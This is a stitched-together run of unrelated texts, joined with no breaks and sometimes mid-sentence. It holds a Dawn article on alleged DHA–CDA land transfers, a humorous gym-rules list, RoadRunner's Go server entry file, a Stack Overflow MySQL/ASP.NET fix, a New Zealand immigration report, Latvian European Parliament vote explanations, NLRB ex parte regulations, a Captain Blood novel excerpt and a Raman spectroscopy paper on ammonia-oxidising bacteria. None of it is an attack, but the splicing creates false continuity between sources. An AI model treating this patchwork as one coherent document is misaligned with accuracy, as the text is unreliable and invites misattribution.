Documents available with Dawn say that in May 2005 DHA had formally requested then CDA Chairman Kamran Lashari for the transfer of its 868 kanal land to DHA for the Phase II Extension. The CDA acceded to the request only three years later.
Though the CDA spokesman Malik Saleem expressed ignorance over the matter, citizen Zahoor’s complaint alleged that former CDA chairman Tariq Mehmood Khan, under the influence of the former PPP government, signed the agreement for transferring the CDA land to the DHA in 2008.
His complaint said that in 2009 the DHA had merged the CDA land with the land of ‘Commoners Town’ that the DHA had already acquired.
He claimed that the then DHA administrator, in connivance with property tycoon Malik Riaz Hussain, his son Ahmed Ali Riaz, HRL and EOBI Chairman Zahid Iqbal Gondal, sold the CDA and Commoners Town land to the EOBI on very exorbitant rate and received Rs16 billion.
But, according to the complainant, the DHA later transferred that amount to Bahria Town’s account under an agreement.
DHA spokesman Mohammad Tariq could not be reached for comments despite repeated attempts, but a senior BT official said that mega projects like the Phase II Extension take time to complete.
Col (retired) Khalilur Rehman told Dawn that the project was being executed after completing all the legal requirements.
“There is nothing wrong with the project. We are ready to face any inquiry over the transparency of the project,” he said.
Comments (1) Closed
Saad(DXB)
Jul 02, 2013 10:16pm
Shameful... Simply shameful... Army should stick to its core job of protecting the borders and not get indulged into running Real Estate Development agencies (Like DHA) or Business entities (like AWT or Fauji Foundation). Pakistan is the only country is the world where the Army allocated prime pieces of land to its officers, many of whom have retired without seeing a single war.
Being an Ex-Army officer's son, I am fully aware how in every new DHA scheme, Brigadiers and General have plots reserved in their names. These plots cost a few hundred thousand and are immediately sold for millions to civilians.. This is prima face' corruption..
Anyone dare to challenge these facts?Jason Gay at [email protected] gives us another series of gym rules designed for healthier outcomes (for all) and the opportunity for a quick self assessment. Do you see yourself or anyone you know on this list?
This is our second Journal installment of Rules for Conquering the Gym, because let’s be honest: You probably have yet to conquer the gym. It’s OK. Gyms are tricky relationships. You fall in and out of love. Commitment fades. Maybe you have a torrid affair with ice cream sandwiches. All you know is that you used to go to that gym five times a week, and suddenly it becomes two, and then two becomes one, and one becomes none, and none becomes a brand new size of jeans.
Don’t give up! Exercise will keep you healthy and vibrant, happier than any shopping spree or Netflix frenzy, and you don’t need to chase a quick fix or run to a dodgy plastic surgeon. But you can use some encouragement. Here are our latest rules:
1. The first three months at the gym, you will not lose a drastic amount of weight. However, you will learn an amazing amount about Drew Barrymore while watching “Access Hollywood” on the elliptical trainer.
2. Focus on technique. Have an instructor teach you proper form. If you lift a barbell like a 129-year-old man bending over to pick up a turtle, you need some help.
3. No, you’re not getting a six-pack. You’re just trying to take off your shirt at the beach without people running to their cars.
4. Avoid gyms next to liquor stores and Cinnabons.
5. Consider investing in one of those fancy computer wristbands that measures how many calories you burn walking between birthday cake parties in the office |
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] | the detection of BHC against inorganic anions and natural amino acids. In addition, the BHC content in two different types of berberine tablets was successfully determined by this method and the results showed high accuracy. Graphical Abstract ᅟ.// MIT License
//
// Copyright (c) 2019 SpiralScout
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package main
import (
rr "github.com/spiral/roadrunner/cmd/rr/cmd"
// services (plugins)
"github.com/spiral/broadcast"
"github.com/spiral/broadcast-ws"
"github.com/spiral/jobs/v2"
"github.com/spiral/php-grpc"
"github.com/spiral/roadrunner/service/env"
"github.com/spiral/roadrunner/service/headers"
"github.com/spiral/roadrunner/service/health"
"github.com/spiral/roadrunner/service/http"
"github.com/spiral/roadrunner/service/limit"
"github.com/spiral/roadrunner/service/metrics"
"github.com/spiral/roadrunner/service/reload"
"github.com/spiral/roadrunner/service/rpc"
"github.com/spiral/roadrunner/service/static"
// queue brokers
"github.com/spiral/jobs/v2/broker/amqp"
"github.com/spiral/jobs/v2/broker/beanstalk"
"github.com/spiral/jobs/v2/broker/ephemeral"
"github.com/spiral/jobs/v2/broker/sqs"
// additional commands and debug handlers
_ "github.com/spiral/broadcast-ws/cmd/rr-ws/ws"
_ "github.com/spiral/jobs/v2/cmd/rr-jobs/jobs"
_ "github.com/spiral/php-grpc/cmd/rr-grpc/grpc"
_ "github.com/spiral/roadrunner/cmd/rr/http"
_ "github.com/spiral/roadrunner/cmd/rr/limit"
)
func main() {
rr.Container.Register(env.ID, &env.Service{})
rr.Container.Register(rpc.ID, &rpc.Service{})
// http
rr.Container.Register(http.ID, &http.Service{})
rr.Container.Register(headers.ID, &headers.Service{})
rr.Container.Register(static.ID, &static.Service{})
rr.Container.Register(grpc.ID, &grpc.Service{})
rr.Container.Register(jobs.ID, &jobs.Service{
Brokers: map[string]jobs.Broker{
"amqp": &amqp.Broker{},
"ephemeral": &ephemeral.Broker{},
"beanstalk": &beanstalk.Broker{},
"sqs": &sqs.Broker{},
},
})
// pub-sub
rr.Container.Register(broadcast.ID, &broadcast.Service{})
rr.Container.Register(ws.ID, &ws.Service{})
// supervisor and metrics
rr.Container.Register(limit.ID, &limit.Service{})
rr.Container.Register(metrics.ID, &metrics.Service{})
rr.Container.Register(health.ID, &health.Service{})
// auto reloading
rr.Container.Register(reload.ID, &reload.Service{})
// you can register additional commands using cmd.CLI
rr.Execute()
}
Q:
Trying to acces MySql database in ASP.NET MVC
I'm new at ASP.NET MVC and I'm writing an ASP.NET MVC application with my own MySQL database. I've customized the code to connect to the database and i think everything has to work fine. When i use my own testdata in DeelnemerRepository (UserRepository in english) I don't have any problems but when i try to access the database it throws an ArgumentException. The exception also gives me the following message:
Unable-to-find-the-requested-Net-Framework-Data-Provider-It-may-not-be-installed
The invoked method in the DeelnemerRepository:
public IQueryable<Deelnemer> FindAll()
{
return deelnemers.OrderBy(d => d.Emailadres);
}
With NuGet i added MySql.Data, MySql.Data.Entities and MySql.Web
The Connection strings in the web.config file:
<connectionStrings>
<add name="DefaultConnection" connectionString="Data Source=(LocalDb)\v11.0;Initial Catalog=aspnet-ProjectDynamische-20130415102959;Integrated Security=SSPI;AttachDBFilename=|DataDirectory|\aspnet-ProjectDynamische-20130415102959.mdf" providerName="System.Data.SqlClient" />
<add name="kindermishandeling_dbContext" connectionString="server=localhost;Port=3307;User Id=root;password=1234;database=kindermishandeling_db;Persist Security Info=True" providerName="MySql.Data.MySqlClient" />
</connectionStrings>
I also found out there could be a problem in this method in this class but I'm not sure:
private class SimpleMembershipInitializer
{
public SimpleMembershipInitializer()
{
Database.SetInitializer<UsersContext>(null);
try
{
using (var context = new UsersContext())
{
if (!context.Database.Exists())
{
// Create the SimpleMembership database without Entity Framework migration schema
((IObjectContextAdapter)context).ObjectContext.CreateDatabase();
}
}
WebSecurity.InitializeDatabaseConnection("DefaultConnection", "UserProfile", "UserId", "UserName", autoCreateTables: true);
}
catch (Exception ex)
{
throw new InvalidOperationException("The ASP.NET Simple Membership database could not be initialized. For more information, please see http://go.microsoft.com/fwlink/?LinkId=256588", ex);
}
}
}
I don't expect a solution for the problem but i just would like to know where i have to look, I think ASP.NET MVC is really complicated...
A:
I just found the solution by myself. Anyway thanks everyone who tried to help me.
I had to add this code to my web.config file:
<system.data>
<DbProviderFactories>
<remove invariant="MySql.Data.MySqlClient"/>
<add name="MySQL Data Provider" invariant="MySql.Data.MySqlClient" description=".Net Framework Data Provider for MySQL" type="MySql.Data.MySqlClient.MySqlClientFactory,MySql.Data" />
</DbProviderFactories>
</system.data>
The government coalition parties have started talks on how many new residents they will allow into the country.
Photo: 123RF
Immigration is shaping up to be a major election issue next year, with New Zealand First saying it will continue its push to curb immigration.
And that year will start with the potentially thorny issue of setting the number of residence visas the government will grant.
The number of approvals by the end of this year - when the current residence programme target expires - is expected to be at the lower end of the government-set 50,000 to 60,000 planning range.
Residence approvals are at the lowest levels since the turn of the century. |
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] | tu daudzgadu programmas kultūras, jaunatnes izglītības un aktīvas pilsonības jomā, nepārprotami padara šo programmu sagatavošanu un īstenošanu sarežģītāku. Jautājums ir, vai to rada Eiropas Komisijas birokrātiskais darbības veids vai izpratnes trūkums par svarīgo tematu - aktīva pilsonība?
Kultūra un izglītība nevar pakļauties birokrātijai. Tādēļ Eiropas Parlamenta Kultūras un izglītības komiteja ir atkārtoti aicinājusi ieviest "ātru, efektīvu un pārredzamu procedūru, kas tomēr nodrošinās pārbaudes un informētības tiesības attiecībā uz lēmumu pieņemšanu”. Bez ātriem lēmumiem iecerēto ietekmi nejutīs. Tas pilnībā pamato atbalstošu balsojumu par ziņojumiem, jo īpaši tādēļ, ka kultūra visplašākajā nozīmē ir tautu bagātība un to attīstības un izturības garants.
Jean-Pierre Audy
rakstiski. - (FR) Es balsoju atbalstoši par leģislatīvo rezolūciju, kas pamatota uz Grieķijas deputātes Katerina Batzeli ziņojumu, pirmajā lasījumā saskaņā ar koplēmuma procedūru apstiprinot priekšlikumu Eiropas Parlamenta un Padomes grozošajam Lēmumam Nr. 1904/2006/EK, ar ko izveido programmu "Eiropa pilsoņiem” (2007.-2013. gadam), lai sekmētu aktīvu pilsonību. Es atzinīgi vērtēju un atbalstu grozījumus, kas ir aizvietojuši konsultējošo komitoloģijas procedūru ar pienākumu Komisijai nekavējoties informēt Eiropas Parlamentu un dalībvalstis par jebkādiem pasākumiem, kuri veikti saistībā ar lēmuma īstenošanu bez komitejas palīdzības, lai atlases lēmumu varētu īstenot ātrāk un efektīvāk.
Alessandro Battilocchio
rakstiski. - (IT) Paldies, priekšsēdētāja kungs, jo ar iepriekšējiem ziņojumiem esmu pārliecināts arī par šo un balsoju atbalstoši par manas kolēģes Batzeli kundzes padarīto darbu.
Programma "Eiropa pilsoņiem” ir bijis svarīgs solis saistībā ar sarežģīto uzdevumu tuvināt Eiropu tās pilsoņiem. Pārāk bieži pagātnē Eiropu uzskatīja par attālu, birokrātisku iestādi, kas ir izolēta no savu pilsoņu ikdienas realitātes.
Šodien, tā kā izņēmuma kārtā plenārsēde notiek Briselē, mums ir iespēja nosūtīt vēstījumu, ko atzinīgi vērtēs Eiropas pilsoņi. Sāksim ar vienu EP mītnes vietu Briselē. Mūsu pilsoņus aizvien vairāk mulsina šis ikmēneša "pārbrauciens”, kas saistīts ar lielām organizatoriskām pūlēm un finanšu slogiem. Sāksim šo jautājumu apspriest bez jebkādiem tabu.
David Martin
rakstiski. - Es atzinīgi vērtēju priekšlikumu samazināt birokrātiju programmas "Eiropa pilsoņiem” lēmumu pieņemšanas procesā. Efektīvāka piešķīrumu saņēmēju atlase sadraudzības pilsētām un atbalsts pilsoniskajai sabiedrībai uzlabos ES spēju mudināt savus pilsoņus iesaistīties ES pasākumos. Paturot sacīto prātā, es balsoju atbalstoši par Katerina Batzeli ziņojumu attiecībā uz programmu "Eiropas pilsoņiem” 2007.-2013. gadam, lai sekmētu aktīvu pilsonību.
Jean-Pierre Audy
rakstiski. - (FR) Es balsoju atbalstoši par leģislatīvo rezolūciju, kas pamatota uz Grieķijas deputātes Katerina Batzeli ziņojumu, pirmajā lasījumā saskaņā ar koplēmuma procedūru apstiprinot priekšlikumu Eiropas Parlamenta un Padomes grozošajam Lēmumam Nr. 1720/2006/EK, ar ko izveido rīcības programmu mūžizglītības jomā. Es atzinīgi vērtēju un atbalstu grozījumus, kas ir aizvietojuši konsultējošo komitoloģijas procedūru ar pienākumu Komisijai nekavējoties informēt Eiropas Parlamentu un dalībvalstis par jebkādiem pasākumiem, kuri veikti saistībā ar lēmuma īstenošanu bez komitejas palīdzības, lai atlases lēmumu varētu īstenot ātrāk un efektīvāk.
David Martin
rakstiski. - Mūžizglītības programma palīdz finansēt tādas izglītības shēmas kā Erasmus. Izmantojot šādas shēmas, cilvēki Eiropā ne tikai apgūst Eiropas kultūru bagātību, bet arī izglītošanas iespēju pārticību, ko piedāvā ES. Tādēļ es balsoju atbalstoši par Katerina Batzeli ziņojumu attiecībā uz rīcības programmu mūžizglītības jomā.
Andreas Mölzer
rakstiski. - (DE) Ir pretrunīgi mudināt mūsu cilvēkus, no vienas puses, ierosināt mācīties un, no otras puses, izvirzīt "zilās kartes” plānus, jo netipiska bezdarba palielināšanās un smagāks konkurences spiediens jau ir nodrošinājis, ka laba pamatapmācība un tālākapmācība vairs nevar pasargāt no bezdarba.
Ir liels skaits augsti kvalificēti cilvēki, ko uzņēmumi nepieņem darbā tikai tādēļ, ka vēlas nodarbināt vislētākos doktora vai maģistra grāda ieguvējus McJobs vai nevēlas vairs piedāvāt neko citu kā vien netipiskus darba līgumus.
Ir ļoti nepieciešams sākt apmācību, lai mazinātu prasmīga dar |
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] | merits of the proceeding.
Sec. 102.127 Definitions.
When used in this subpart:
(a) The term person outside this agency, to whom the prohibitions
apply, shall include any individual outside this agency, partnership,
corporation, association, or other entity, or an agent thereof, and the
general counsel or his representative when prosecuting an unfair labor
practice proceeding before the Board pursuant to section 10(b) of the
Act.
(b) The term ex parte communication means an oral or written
communication not on the public record with respect to which reasonable
prior notice to all parties is not given, subject however, to the
provisions of Sec. Sec. 102.129 and 102.130.
Sec. 102.128 Types of on-the-record proceedings; categories of Board
agents; and duration of prohibition.
Unless otherwise provided by specific order of the Board entered in
the proceeding, the prohibition of Sec. 102.126 shall be applicable in
the following types of on-the-record proceedings to unauthorized ex
parte communications made to the designated categories of Board agents
who participate in the decision, from the stage of the proceeding
specified until the issues are finally resolved by the Board for the
purposes of that proceeding under prevailing rules and practices:
(a) In a preelection proceeding pursuant to section 9(c)(1) or 9(e),
or in a unit clarification or certification amendment proceeding
pursuant to section 9(b) of the Act, in which a formal hearing is held,
communications to the regional director and members of his staff who
review the record and prepare a draft of his decision, and members of
the Board and their legal assistants, from the time the hearing is
opened.
(b) In a postelection proceeding pursuant to section 9(c)(1) or 9(e)
of the Act, in which a formal hearing is held, communications to the
hearing officer,
[[Page 99]]
the regional director and members of his staff who review the record and
prepare a draft of his report or decision, and members of the Board and
their legal assistants, from the time the hearing is opened.
(c) In a postelection proceeding pursuant to section (c)(1) or 9(e),
or in a unit clarification or certification amendment proceeding
pursuant to section 9(b) of the Act, in which no formal hearing is held,
communications to members of the Board and their legal assistants, from
the time the regional director's report or decision is issued.
(d) In a proceeding pursuant to section 10(k) of the Act,
communications to members of the Board and their legal assistants, from
the time the hearing is opened.
(e) In an unfair labor practice proceeding pursuant to section 10(b)
of the Act, communications to the administrative law judge assigned to
hear the case or to make rulings upon any motions or issues therein and
members of the Board and their legal assistants, from the time the
complaint and/or notice of hearing is issued, or the time the
communicator has knowledge that a complaint or notice of hearing will be
issued, whichever occurs first.
(f) In any other proceeding to which the Board by specific order
makes the prohibition applicable, to the categories of personnel and
from the stage of the proceeding specified in the order.
Sec. 102.129 Communications prohibited.
Except as provided in Sec. 102.130, ex parte communications
prohibited by Sec. 102.126 shall include:
(a) Such communications, when written, if copies thereof are not
contemporaneously served by the communicator on all parties to the
proceeding in accordance with the provisions of Sec. 102.114(a).
(b) Such communications, when oral, unless advance notice thereof is
given by the communicator to all parties in the proceeding and adequate
opportunity afforded to them to be present.
[42 FR 13113, Mar. 8, 1977, as amended at 51 FR 30636, Aug. 28, 1986; 51
FR 32919, Sept. 17, 1986]
Sec. 102.130 Communications not prohibited.
Ex parte communications prohibited by Sec. 102.126 shall not
include:
(a) Oral or written communications which relate solely to matters
which the hearing officer, regional director, administrative law judge,
or member of the Board is authorized by law or Board rules to entertain
or dispose of on an ex parte basis.
(b) Oral or written requests for information solely with respect to
the status of a proceeding.
(c) Oral or written communications which all the parties to the
proceeding agree, or which the responsible official formally rules, may
be made on an ex parte basis.
(d) Oral or written communications proposing settlement or an
agreement for disposition of any or all issues in the proceeding.
(e) Oral or written communications which concern matters of general
significance to the field of labor-management relations or
administrative practice and which are not specifically related to
pending on-the-record proceedings.
(f) Oral or written communications from the general counsel to the
Board when the general counsel is acting as counsel for the Board.
Sec. 102.131 Solicitation of prohibited communications.
No person shall knowingly and willfully solicit the making of an
unauthorized ex parte communication by any other person.
Sec. 102.132 Reporting of prohibited communications; penalties.
(a) Any Board agent of the categories defined in Sec. 102.128 to
whom a prohibited oral ex parte communication is attempted to be made
shall refuse to listen to the communication, inform the communicator of
this rule, and advise him that if he has anything to say it should be
said in writing with copies to all parties. Any such Board agent who
receives, or who makes or knowingly causes to be made, an unauthorized
ex parte communication shall place or cause to be placed on the public
record of the proceeding:
[[Page 100]]
(1) The communication, if it was written,
(2) A memorandum stating the substance of the communication, if it
was oral,
(3) All written responses to the prohibited communication, and
(4) Memoranda stating the substance of all oral responses to the
prohibited communication.
(b) The executive secretary, if the proceeding is then pending
before the Board, the administrative law judge, if the proceeding is
then pending before any such judge, or the regional director, if the
proceeding is then pending before a hearing officer or the regional
director, shall serve copies of all such materials placed on the public
record of the proceeding on all other parties to the proceeding and on
the attorneys of record for the parties. Within 14 days after the
mailing of such copies, any party may file with the executive secretary,
administrative law judge, or regional director serving the
communication, and serve on all other parties, a statement setting forth
facts or contentions to rebut those contained in the prohibited
communication. All such responses shall be placed in the public record
of the proceeding, and provision may be made for any further action,
including reopening of the record which may be required under the
circumstances. No action taken pursuant to this provision shall
constitute a waiver of the power of the Board to impose an appropriate
penalty under Sec. 102.133.
[51 FR 32919, Sept. 17, 1986]
Sec. 102.133 Penalties and enforcement.
(a) Where the nature and circumstances of a prohibited communication
made by or caused to be made by a party to the proceeding are such that
the interests of justice and statutory policy may require remedial
action, the Board, administrative law judge, or regional director, as
the case may be, may issue to the party making the communication a
notice to show cause, returnable before the Board within a stated period
not less than 7 days from the date thereof, why the Board should not
determine that the interests of justice and statutory policy require
that the claim or interest in the proceeding of a party who knowingly
makes a prohibited communication or knowingly causes a prohibited
communication to be made, should be dismissed, denied, disregarded or
otherwise adversely affected on account of such violation.
(b) Upon notice and hearing, the Board may censure, suspend, or
revoke the privilege of practice before the agency of any person who
knowingly and willfully makes or solicits the making of a prohibited ex
parte communication. However, before the Board institutes formal
proceedings under this subsection, it shall first advise the person or
persons concerned in writing that it proposes to take such action and
that they may show cause, within a period to be stated in such written
advice, but not less than 7 days from the date thereof, why it should be
take such action.
(c) The Board may censure, or, to the extent permitted by law,
suspend, dismiss, or institute proceedings for the dismissal of, any
Board agent who knowingly and willfully violates the prohibitions and
requirements of this rule.
[42 FR 15410, Mar. 22, 1977]
Subpart Q_Procedure Governing Matters Affecting Employment-Management
Agreements Under the Postal Reorganization Act
Sec. 102.135 Employment-management agreements.
(a) Employment-management agreements. All matters within the
jurisdiction of the National Labor Relations Board pursuant to the
Postal Reorganization Act (chapter 12 of title 39, U.S. Code, as
revised) shall be governed by the |
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] | next sentence. "But you tell me Mr. Pitt he is your navigant?"
"For lack of a better," laughed the Captain, good-humouredly contemptuous. "Now I am ready to wager him a hundred pieces of eight that that is the North Star." And he flung out an arm towards a point of light in the heavens straight abeam. He afterwards told Pitt that had Don Diego confirmed him, he would have run him through upon that instant. Far from that, however, the Spaniard freely expressed his scorn.
"You have the assurance that is of ignorance, Don Pedro; and you lose. The North Star is this one." And he indicated it.
"You are sure?"
"But my dear Don Pedro!" The Spaniard's tone was one of amused protest. "But is it possible that I mistake? Besides, is there not the compass? Come to the binnacle and see there what course we make."
His utter frankness, and the easy manner of one who has nothing to conceal resolved at once the doubt that had leapt so suddenly in the mind of Captain Blood. Pitt was satisfied less easily.
"In that case, Don Diego, will you tell me, since Curacao is our destination, why our course is what it is?"
Again there was no faintest hesitation on Don Diego's part. "You have reason to ask," said he, and sighed. "I had hope' it would not be observe'. I have been careless—oh, of a carelessness very culpable. I neglect observation. Always it is my way. I make too sure. I count too much on dead reckoning. And so today I find when at last I take out the quadrant that we do come by a half-degree too much south, so that Curacao is now almost due north. That is what cause the delay. But we will be there tomorrow."
The explanation, so completely satisfactory, and so readily and candidly forthcoming, left no room for further doubt that Don Diego should have been false to his parole. And when presently Don Diego had withdrawn again, Captain Blood confessed to Pitt that it was absurd to have suspected him. Whatever his antecedents, he had proved his quality when he announced himself ready to die sooner than enter into any undertaking that could hurt his honour or his country.
New to the seas of the Spanish Main and to the ways of the adventurers who sailed it, Captain Blood still entertained illusions. But the next dawn was to shatter them rudely and for ever.
Coming on deck before the sun was up, he saw land ahead, as the Spaniard had promised them last night. Some ten miles ahead it lay, a long coast-line filling the horizon east and west, with a massive headland jutting forward straight before them. Staring at it, he frowned. He had not conceived that Curacao was of such considerable dimensions. Indeed, this looked less like an island than the main itself.
Beating out aweather, against the gentle landward breeze he beheld a great ship on their starboard bow, that he conceived to be some three or four miles off, and—as well as he could judge her at that distance—of a tonnage equal if not superior to their own. Even as he watched her she altered her course, and going about came heading towards them, close-hauled.
A dozen of his fellows were astir on the forecastle, looking eagerly ahead, and the sound of their voices and laughter reached him across the length of the stately Cinco Llagas.
"There," said a soft voice behind him in liquid Spanish, "is the Promised Land, Don Pedro."
It was something in that voice, a muffled note of exultation, that awoke suspicion in him, and made whole the half-doubt he had been entertaining. He turned sharply to face Don Diego, so sharply that the sly smile was not effaced from the Spaniard's countenance before Captain Blood's eyes had flashed upon it.
"You find an odd satisfaction in the sight of it—all things considered," said Mr. Blood.
"Of course." The Spaniard rubbed his hands, and Mr. Blood observed that they were unsteady. "The satisfaction of a mariner."
"Or of a traitor—which?" Blood asked him quietly. And as the Spaniard fell back before him with suddenly altered countenance that confirmed his every suspicion, he flung an arm out in the direction of the distant shore. "What land is that?" he demanded. "Will you have the effrontery to tell me that is the coast of Curacao?"
He advanced upon Don Diego suddenly, and Don Diego, step by step, fell back. "Shall I tell you what land it is? Shall I?" His fierce assumption of knowledge seemed to dazzle and daze the Spaniard. For still Don Diego made no answer. And then Captain Blood drew a bow at a venture—or not quite at a venture. Such a coast-line as that, if not of the main itself, and the main he knew it could not be, must belong to either Cuba or Hispaniola. Now knowing Cuba to lie farther north and west of the two, it followed, he reasoned swiftly, that if Don Diego meant betrayal he would steer for the nearer of these Spanish territories. "That land, you treacherous, forsworn Spanish dog, is the island of Hispaniola."
Having said it, he closely watched the swarthy face now overspread with pallor, to see the truth or falsehood of his guess reflected there. But now the retreating Spaniard had come to the middle of the quarter-deck, where the mizzen sail made a screen to shut them off from the eyes of the Englishmen below. His lips writhed in a snarling smile.
"Ah, perro ingles! You know too much," he said under his breath, and sprang for the Captain's throat.
Tight-locked in each other's arms, they swayed a moment, then together went down upon the deck, the Spaniard's feet jerked from under him by the right leg of Captain Blood. The Spaniard had depended upon his strength, which was considerable. But it proved no match for the steady muscles of the Irishman, tempered of late by the vicissitudes of slavery. He had depended upon choking the life out of Blood, and so gaining the half-hour that might be necessary to bring up that fine ship that was beating towards them—a Spanish ship, perforce, since none other would be so boldly cruising in these Spanish waters off Hispaniola. But all that Don Diego had accomplished was to betray himself completely, and to no purpose. This he realized when he found himself upon his back, pinned down by Blood, who was kneeling on his chest, whilst the men summoned by their Captain's shout came clattering up the companion.
"Will I say a prayer for your dirty soul now, whilst I am in this position?" Captain Blood was furiously mocking him.
But the Spaniard, though defeated, now beyond hope for himself, forced his lips to smile, and gave back mockery for mockery.
"Who will pray for your soul, I wonder, when that galleon comes to lie board and board with you?"
"That galleon!" echoed Captain Blood with sudden and awful realization that already it was too late to avoid the consequences of Don Diego's betrayal of them.
"That galleon," Don Diego repeated, and added with a deepening sneer: "Do you know what ship it is? I will tell you. It is the Encarnacion, the flagship of Don Miguel de Espinosa, the Lord Admiral of Castile, and Don Miguel is my brother. It is a very fortunate encounter. The Almighty, you see, watches over the destinies of Catholic Spain."
There was no trace of humour or urbanity now in Captain Blood. His light eyes blazed: his face was set.
He rose, relinquishing the Spaniard to his men. "Make him fast," he bade them. "Truss him, wrist and heel, but don't hurt him—not so much as a hair of his precious head."
The injunction was very necessary. Frenzied by the thought that they were likely to exchange the slavery from which they had so lately escaped for a slavery still worse, they would have torn the Spaniard limb from limb upon the spot. And if they now obeyed their Captain and refrained, it was only because the sudden steely note in his voice promised for Don Diego Valdez something far more exquisite than death.
"You scum! You dirty pirate! You man of honour!" Captain Blood apostrophized his prisoner.
But Don Diego looked up at him and laughed.
"You underrated me." He spoke English, so that all might hear. "I tell you that I was not fear death, and I show you that I was not fear it. You no understand. You just an English dog."
"Irish, if you please," Captain Blood corrected him. "And your parole, you tyke of Spain?"
"You think I give my parole to leave you sons of filth with this beautiful Spanish ship, to go make war upon other Spaniards! Ha!" Don Diego laughed in his throat. "You fool! You can kill me. Pish! It is very well. I die with my work well done. In less than an hour you will be the prisoners of Spain, and the Cinco Llagas will go |
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] | However, significant differences in the relative intensity of the Raman line at 750 rel. cm^−1^ (ν~15~) compared to the line at 1587 rel. cm^−1^ (ν~19~) did exist in the spectra of individual cells per culture (compare red and black spectra in [Figure 1](#microorganisms-08-00432-f001){ref-type="fig"}a--h).
This fit perfectly with the results of Hu et al. \[[@B33-microorganisms-08-00432]\], who analyzed reconstituted cytochrome c protein in potassium phosphate buffer solution, identifying the lines in the complete resonance Raman spectra of ferrous and ferric cytochrome c. With 532 nm excitation, they found the Raman line of the ν~15~ vibration at 750 rel. cm^−1^ to be among the strongest lines in the spectrum of ferrous cytochrome c, but among the weakest lines in ferric cytochrome c, whereas the Raman line of the ν~19~ vibration at 1587 rel. cm^−1^ was unaffected by the redox state of the protein in terms of both relative intensity and line position. Moreover, no line shift of the Raman line at 1587 rel. cm^−1^ was observed. In contrast, Russo et al. observed a 5 cm^−1^ upshift in the line at 1587 rel. cm^−1^ and used it to differentiate between healthy and apoptotic and pre-apoptotic brain cells of Mongolian gerbils, associating the line shift with cytochrome c deformation due to the protein binding to membrane elements \[[@B35-microorganisms-08-00432]\]. A similar observation was reported earlier by Murgida and Hildebrandt \[[@B46-microorganisms-08-00432],[@B47-microorganisms-08-00432]\], who saw a 10 cm^−1^ upshift in the line of the ν~19~ vibration in ferrous compared to ferric cytochrome c adsorbed to a surface-enhanced Raman active substrate. The absence of such a shift or a broadening of the line at 1587 rel. cm^−1^, which would be caused by such a shift in the spectra of some but not all the cytochrome c within the respective cell, therefore indicated that the observed differences in the summarized cytochrome c resonant Raman spectra of the bacteria were indeed primarily due to the redox state of the cytochrome c, as analyzed by Hu et al. \[[@B33-microorganisms-08-00432]\], and thus to their electron transport function, and not due to deformations caused by other stress reactions of the respective cells.
Therefore, the relative intensity (I~Raman~) of the two Raman lines (relRI) could be used as a functional marker for the summarized redox state (ferrous vs. ferric) of all the cytochrome c of the respective bacterial cell, and thus its ongoing electron transport activity at the time of measurement with I~Raman~(ν) being the intensity of the Raman line associated with the respective vibration (ν) in the spectrum of that individual bacterial cell.
However, since the absolute value of the relRI was dependent on the Raman spectrum of the respective bacteria species (compare [Figure 1](#microorganisms-08-00432-f001){ref-type="fig"}a,c,e,g), a comparison with the relRI of an unstressed culture of the respective species was required. However, the unstressed reference did not have to be taken from the same culture or even with the same system settings. [Figure 2](#microorganisms-08-00432-f002){ref-type="fig"} gives four relRI values determined with three different excitation times (1.0 s, 1.5 s, 2.0 s) for 100 cells each from unstressed *N. europaea* (Nm 50) cultures grown from two different stock cultures (C03, C46) as an example. As can be seen, the differences between the relRI of the respective cultures and measurements were below 0.06, corresponding to 100 ccd counts in the underlying Raman spectra, which was in the order of the random noise in the underlying Raman spectra (compare [Figure 1](#microorganisms-08-00432-f001){ref-type="fig"}a), despite the Raman spectra recorded from *N. europaea* (Nm 50) having the lowest signal-to-noise ratio (SNR) of all Raman spectra recorded from the analyzed AOB species.
3.2. Effects of Oxygen Stress on the Cytochrome-C Content of Nitrosomonas and Nitrosospira {#sec3dot2-microorganisms-08-00432}
------------------------------------------------------------------------------------------
The relRI, determined as described in [Section 2](#sec2-microorganisms-08-00432){ref-type="sec"} and [Section 3.1](#sec3dot1-microorganisms-08-00432){ref-type="sec"} for 1000 cells each from well-aerated or oxygen-deprived cultures of *N. europaea* (Nm 50) and *N. eutropha* (Nm 57), respectively, and their corresponding oxygenation histories during cultivation are given in [Figure 3](#microorganisms-08-00432-f003){ref-type="fig"}. As can be seen, the relRI trends of *N. europaea* (black) and *N. eutropha* (red) differed significantly. While the relRI of *N. europaea* was unaffected by the culture conditions, the relRI of oxygen-deprived *N. eutropha* exceeded that of non-deprived *N. eutropha* on average by 0.3, with the non-deprived culture containing a significantly larger percentage of more ferric cells, i.e., cells with a low relRI, than the deprived culture, resulting in a relRI difference ranging from 0.5 for the least ferrous cells in the samples to 0.1 for the most ferrous cells. Moreover, the relRI trends of *Nitrosospira* sp. (Nsp 02) and *Nitrosospira briensis* (Nsp 10) (see [Figure 4](#microorganisms-08-00432-f004){ref-type="fig"}) showed the same relationship between previous oxygen-deprivation and significantly higher relRI, with the relRI of oxygen-deprived Nsp 02 exceeding that of well-aerated Nsp 02 by 0.2 and Nsp 10 showing a difference 0.4 on average between oxygen-deprived and well-aerated cultures. Given that the Raman spectra underling the relRI trends were recorded from individual cells in a monolayer of cells, this indicated a significantly higher active cytochrome-c content per cell for *N. eutropha* and *Nitrosospira* grown under oxygen-deprived conditions than was seen in cells grown in oxygen abundance.
